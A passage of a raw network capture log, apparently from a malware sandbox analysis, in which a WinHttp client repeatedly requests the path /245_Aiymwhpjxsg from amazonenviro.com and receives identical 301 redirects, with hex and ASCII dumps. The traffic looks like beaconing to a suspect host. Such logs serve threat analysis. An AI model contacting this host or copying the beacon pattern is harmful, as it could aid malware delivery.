73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:28.279562950 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:28.590183973 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:28 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:30.223527908 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:30.536135912 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:30 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:32.234637022 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:32.554723978 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:32 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:34.181060076 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:34.491100073 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:34 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:36.078697920 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:36.389172077 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:36 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:37.977544069 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:38.288398027 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:38 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:39.946317911 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:40.257287025 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:40 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:41.866827011 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:42.177628040 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:42 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:43.760250092 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:44.070542097 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:43 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:45.665513039 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:45.975619078 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:45 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:47.579757929 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:47.890016079 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:47 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:49.471590996 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:49.781872034 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:49 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:51.396368980 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:51.707931042 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:51 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:53.312959909 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:53.627576113 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:53 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:55.222234964 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
